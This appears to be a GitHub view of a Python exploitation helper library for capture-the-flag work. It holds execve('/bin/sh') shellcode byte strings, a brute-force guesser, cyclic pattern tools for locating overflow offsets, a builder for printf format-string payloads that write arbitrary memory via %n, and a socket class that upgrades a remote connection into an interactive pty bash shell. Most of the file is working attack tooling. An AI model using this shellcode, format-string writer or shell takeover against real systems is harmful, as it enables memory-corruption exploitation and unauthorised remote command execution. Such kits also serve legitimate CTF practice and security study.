-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpwnutils.py
637 lines (504 loc) · 17.5 KB
/
pwnutils.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
import hashlib
import itertools
import math
import os
import random
import re
import select
import shlex
import socket as sock
import string
import struct
import subprocess
import sys
import telnetlib
import time
try:
import termios
import tty
except ImportError:
pass
DEFAULT_PORT = 1337
SHELLCODE = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
SHELLCODE_LONG = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
CLEAR_LINE = "\033[K"
COLORS = {
"black": "\033[30m",
"red": "\033[31m",
"green": "\033[32m",
"yellow": "\033[33m",
"blue": "\033[34m",
"purple": "\033[35m",
"cyan": "\033[36m",
"lightgray": "\033[37m",
"darkgray": "\033[90m",
"lightred": "\033[91m",
"lightgreen": "\033[92m",
"lightyellow": "\033[93m",
"orange": "\033[93m",
"lightblue": "\033[94m",
"lightpurble": "\033[95m",
"pink": "\033[95m",
"lightcyan": "\033[96m",
"white": "\033[97m",
"endc": "\033[0m",
"bold": "\033[1m",
"underline": "\033[4m",
}
# General utility
def write_stdout(b, flush=True):
if isinstance(b, bytes):
sys.stdout.buffer.write(b)
else:
sys.stdout.write(str(b))
if flush:
sys.stdout.flush()
def flush_stdout():
sys.stdout.flush()
def write_stderr(b, flush=True):
if isinstance(b, bytes):
sys.stderr.buffer.write(b)
else:
sys.stderr.write(str(b))
if flush:
sys.stderr.flush()
def remove_colors(s):
return re.sub(r"\x1b\[(\d;)?3?\dm", "", s)
def sha256(s):
if isinstance(s, bytes):
return hashlib.sha256(s).hexdigest()
return hashlib.sha256(str(s).encode()).hexdigest()
def brute_force(predicate, min_length=1, max_length=5, alphabet=string.ascii_letters):
for password_length in range(min_length, max_length + 1):
for guess in itertools.product(alphabet, repeat=password_length):
guess = "".join(guess)
if predicate(guess):
return guess
return None
def paddr(s, length, pattern=None):
"""
Extend a string to <length> by adding <pattern> on the right.
"""
if pattern is None:
pattern = b"A" if isinstance(s, bytes) else "A"
missing_length = length - len(s)
return (
s
+ missing_length // len(pattern) * pattern
+ pattern[: missing_length % len(pattern)]
)
def paddl(s, length, pattern=None):
"""
Extend a string to <length> by adding <pattern> on the left.
"""
if pattern is None:
pattern = b"A" if isinstance(s, bytes) else "A"
missing_length = length - len(s)
return (
missing_length // len(pattern) * pattern
+ pattern[: missing_length % len(pattern)]
+ s
)
def run(cmd, stdin=None):
if isinstance(cmd, str):
cmd = shlex.split(cmd)
proc = subprocess.Popen(
cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
if isinstance(stdin, str):
stdin = stdin.encode("utf8")
stdout, stderr = proc.communicate(stdin)
exitcode = proc.wait()
if exitcode != 0 or stderr:
msg = f"Failed to run {cmd}"
if exitcode != 0:
msg += f" with exitcode {exitcode}"
if stderr:
msg += f".\nSTDERR:\n{stderr}"
raise Exception(msg)
return stdout
def is_local():
return "-" in sys.argv[1:]
def rnd_string(count=1, alphabet=string.ascii_letters):
return "".join(random.choice(alphabet) for _ in range(count))
# Console output
def log(
*args, end="\n", sep=" ", color="white", highlight="blue", symbol="green"
):
args_formatted = []
for x in args:
if isinstance(x, int):
args_formatted.append(COLORS["blue"] + hex(x) + COLORS["endc"])
else:
args_formatted.append(str(x))
txt = f"[{COLORS[symbol]}*{COLORS['endc']}] {COLORS[color]}"
txt += re.sub(r"\*\*(.*?)\*\*", f"{COLORS[highlight]}\\1{COLORS[color]}", sep.join(args_formatted))
txt += COLORS["endc"]
print(txt, end=end)
def info(*args, **kwargs):
log(*args, color="darkgray", highlight="cyan", symbol="cyan", **kwargs)
def error(*args, **kwargs):
log(*args, color="red", symbol="red", **kwargs)
def colorize(s):
return s.format(**COLORS)
# Bytes stuff
def pack(fmt, s):
if isinstance(s, int):
return struct.pack(fmt, s)
if isinstance(s, list):
return b"".join(pack(fmt, x) for x in s)
if isinstance(s, bytes):
try:
struct.unpack(fmt, s)
return s
except struct.error:
raise Exception(f"Cannot pack {s} as '{fmt}'")
raise Exception("Unpackable type:", type(s))
def p8(s):
return pack("<Q", s)
def u8(b):
return struct.unpack("<Q", paddr(b[:8], 8, b"\x00"))[0]
def diff(start, target, bytes=2):
"""
Calculate how much you have to add to <start> to get
to <target> if the number overflows after <bytes> bytes.
This is mainly useful for calculating how many more
characters to print when using printf with %n
"""
bytes_max = 1 << (8 * bytes)
start %= bytes_max
if target >= start:
return target - start
return bytes_max - start + target
def de_bruijn(n=4, alphabet=string.ascii_letters):
k = len(alphabet)
a = [0] * k * n
def db(t, p):
if t > n:
if n % p == 0:
for j in range(1, p + 1):
yield alphabet[a[j]]
else:
a[t] = a[t - p]
for c in db(t + 1, p):
yield c
for j in range(a[t - p] + 1, k):
a[t] = j
for c in db(t + 1, t):
yield c
return db(1, 1)
def cyclic(length=None, n=4, alphabet=string.ascii_lowercase):
if length is not None and len(alphabet) ** n < length:
raise ValueError(f"Patter length to large: {length}")
out = ""
for i, c in enumerate(de_bruijn(n, alphabet)):
if length != None and i >= length:
break
else:
out += c
return out
def cyclic_find(pattern, n=4, alphabet=string.ascii_lowercase):
if len(pattern) < n:
raise ValueError(f"Pattern length shorter than n ({n})")
elif len(pattern) > n:
pattern = pattern[:n]
last_n = ""
for i, c in enumerate(de_bruijn(n, alphabet)):
last_n += c
if len(last_n) > n:
last_n = last_n[1:]
if last_n == pattern:
return i - n + 1
return -1
# Format String Builder
LENGTH_MODIFIERS = {1: "hh", 2: "h", 4: "", 8: "l"}
class FormatString:
def __init__(self, offset=0, written=0):
self.written = written
self.parts = []
self.writes = []
self.offset = offset
self.no_cache = -1
def _get_reg_offset(self, reg):
registers = ["di", "si", "dx", "cx", "8", "9"]
reg = reg.lower()[1:]
for i, r in enumerate(registers):
if r == reg:
return i
return None
def _get_length_from_mods(self, mods):
if mods[-1] == "p":
return 16
if mods[-1] == "x":
return {"hh": 2, "h": 4, "": 8, "l": 16, "ll": 32}[mods[:-1]]
raise Exception(f"Can not guess length for %{mods} modifiers")
def _calc_addr_offset(self, written, fmt_length):
for target, _, bytes in self.writes:
to_write = diff(written, target, bytes)
if to_write < 8:
to_write += 1 << (8 * bytes)
fmt_length += len(f"%{to_write}x")
written += to_write
fmt_length += len(f"%${LENGTH_MODIFIERS[bytes]}n")
offset = math.ceil((fmt_length + self.offset) / 8) + 6
prev_offset = 0
while offset != prev_offset:
prev_offset = offset
total_length = fmt_length + sum(
len(str(offset + x)) for x in range(len(self.writes))
)
offset = math.ceil((total_length + self.offset) / 8) + 6
padding = 8 - (total_length + self.offset) % 8
if padding == 8:
offset += 1
return offset, padding
def print(self, s):
self.parts.append(str(s))
def print_positional(self, pos, mods="p", length=None):
"""
print %<pos>$<length><mods>
if length is not set the function will choose an appropriate value
"""
if length is None:
length = self._get_length_from_mods(mods)
self.parts.append((True, pos, mods, length))
def print_reg(self, register, mods="p"):
"""
Print the content of <register>
Valid registers are 'rdi', 'rsi', 'rdx', 'rcx', 'r8', 'r9'
"""
reg_offset = self._get_reg_offset(register)
if reg_offset is None:
raise Exception("Invalid register:", register)
return self.print_positional(reg_offset, mods)
def print_stack(self, offset, mods="p"):
"""
Print a value on the stack
"""
self.print_positional(offset + 6, mods)
def write_positional(self, arg, val, bytes=2, no_cache=False):
"""
Write <val> to <arg> overriding <bytes> many bytes
If <no_cache> is True this will not use positional args
to avoid printf caching it's arguments
"""
if bytes not in (1, 2, 4, 8):
raise Exception("bytes must be one of (1, 2, 4, 8)")
if no_cache:
self.no_cache = len(self.parts)
self.parts.append((False, arg - 1, val, bytes))
def write_reg(self, register, val, bytes=2, no_cache=False):
"""
Write <val> to the address in <register>
Valid registers are 'rdi', 'rsi', 'rdx', 'rcx', 'r8', 'r9'
"""
reg_offset = self._get_reg_offset(register)
if reg_offset is None:
raise Exception("Invalid register:", register)
return self.write_positional(reg_offset, val, bytes, no_cache)
def write_stack(self, offset, val, bytes=2, no_cache=False):
"""
Write <val> to the address on the stack at <offset>
"""
self.write_positional(offset + 6, val, bytes, no_cache)
def write_address(self, address, val, bytes=2, bytes_at_once=2):
"""
Write <val> to <address> overriding <bytes> many bytes
and writing <bytes_at_once> bytes at a time
"""
if bytes <= 2:
return self.writes.append((val, address, bytes))
bit_mask = (1 << (8 * bytes_at_once)) - 1
for i in range(bytes // bytes_at_once):
to_write = (val >> (i * bytes_at_once * 8)) & bit_mask
self.writes.append((to_write, address + i * bytes_at_once, bytes_at_once))
start = bytes - (bytes % bytes_at_once)
for i in range(bytes % bytes_at_once):
to_write = (val >> ((start + i) * 8)) & 0xFF
self.writes.append((to_write, address + start + i, 1))
def build(self, end=""):
fmt = ""
written = self.written
curr_arg = 0
for i, part in enumerate(self.parts):
if isinstance(part, str):
fmt += part
written += len(part)
continue
read, arg, arg1, arg2 = part
if self.no_cache >= i:
if curr_arg > arg:
raise Exception(
f"no_cache is impossible to satisfy ({curr_arg} before {arg})"
)
while curr_arg < arg:
fmt += "%8x"
written += 8
curr_arg += 1
if read:
mods, length = arg1, arg2
zero = mods.startswith("0")
if zero:
mods = mods[1:]
written += length + 2
fmt += "|"
tmp = str(length) + mods + "|"
if zero:
tmp = "0" + tmp
else:
s, bytes = arg1, arg2
to_write = diff(written, s, bytes)
if to_write < 8:
to_write += 1 << (8 * bytes)
fmt += f"%{to_write}x"
written += to_write
curr_arg += 1
arg += 1
tmp = f"{LENGTH_MODIFIERS[bytes]}n"
if self.no_cache >= i:
fmt += "%" + tmp
curr_arg += 1
else:
fmt += f"%{arg}${tmp}"
if not self.writes:
return (fmt + end).encode()
addrs = []
addr_args, addr_padding = self._calc_addr_offset(written, len(fmt) + len(end))
for i, (s, addr, bytes) in enumerate(self.writes):
addrs.append(addr)
to_write = diff(written, s, bytes)
if to_write < 8:
to_write += 1 << (8 * bytes)
fmt += f"%{to_write}x"
written += to_write
fmt += f"%{addr_args + i}${LENGTH_MODIFIERS[bytes]}n"
fmt += end + "\0" * addr_padding
return fmt.encode() + p8(addrs)
# Socket
portforwarding_active = False
def __get_port_forwarding_termination_func(process):
def terminate():
global portforwarding_active
info("Terminating ssh port forwarding ...")
try:
process.terminate()
info("=> Done.")
except ProcessLookupError:
info("=> Was already terminated.")
portforwarding_active = False
return terminate
def create_socket(host, port, print_message=True, local_port=DEFAULT_PORT, **kwargs):
"""
Create a new socket that connects to <host>:<port>.
If the command line option "-" was given it instead connects to localhost:<local_port>
"""
if is_local():
host = "localhost"
port = local_port
if print_message:
info(f"Connecting socket to **{host}:{port}**")
return socket(host, port, **kwargs)
class socket(sock.socket):
"""
Extension of the socket.socket class with additional functionality.
"""
def __init__(self, host, port, timeout=None, retries=10, retry_timeout=2):
"""
Create a new socket and connect it to <host>:<port>
"""
super().__init__()
if timeout:
self.settimeout(timeout)
while True:
try:
self.connect((host, port))
break
except ConnectionRefusedError:
if retries <= 0:
error("ERROR: Connection Refused. No retries left.")
raise
error(
f"ERROR: Connection Refused. Trying again in {retry_timeout} seconds ({retries} retries left)"
)
retries -= 1
time.sleep(retry_timeout)
def recvs(self, buffer=256):
"""
Recieve <buffer> bytes and return the result as string.
"""
return self.recv(buffer).decode()
def recv_until(self, delim, skip=None):
if isinstance(delim, str):
delim = delim.encode()
if isinstance(skip, str):
skip = skip.encode()
result = b""
while not result.endswith(delim):
output = self.recv(1)
if not output:
break
if output != skip:
result += output
return result
def recv_all(self, max_len=None, skip=None):
if isinstance(skip, str):
skip = skip.encode()
result = b""
while max_len is None or len(result) < max_len:
output = self.recv(1)
if not output:
break
if output != skip:
result += output
return result
def sendall(self, s):
if isinstance(s, bytes):
super().sendall(s)
else:
super().sendall(str(s).encode())
def sendline(self, s):
"""
Send a string or byte value with a linefeed.
"""
if isinstance(s, bytes):
self.sendall(s + b"\n")
else:
self.sendall(str(s).encode() + b"\n")
def shell(self):
log("Spawning shell:")
time.sleep(0.2)
code = 'import pty; pty.spawn(["/bin/bash", "-i"])'
self.sendline(f"python -c '{code}'")
time.sleep(0.2)
old_settings = termios.tcgetattr(sys.stdin.fileno())
try:
tty.setraw(sys.stdin)
cols, rows = os.get_terminal_size(sys.stdin.fileno())
self.sendline(f"stty rows {rows} cols {cols}; echo READY")
self.recv_until("READY")
self.recv_until("READY")
self.recv_until("\n")
while True:
available, *_ = select.select([sys.stdin, self], [], [])
for src in available:
if src == sys.stdin:
data = sys.stdin.buffer.read1(1024)
self.sendall(data)
if b"\x03" in data or b"\x04" in data:
sys.stdout.buffer.write(b"\r\n")
sys.stdout.flush()
return
else:
data = self.recv(4096)
sys.stdout.buffer.write(data)
sys.stdout.flush()
finally:
termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings)
def interact(self):
"""
Pass the socket to telnet to allow interactive access to it.
"""
log("Telnet takeover:")
t = telnetlib.Telnet()
t.sock = self
t.interact()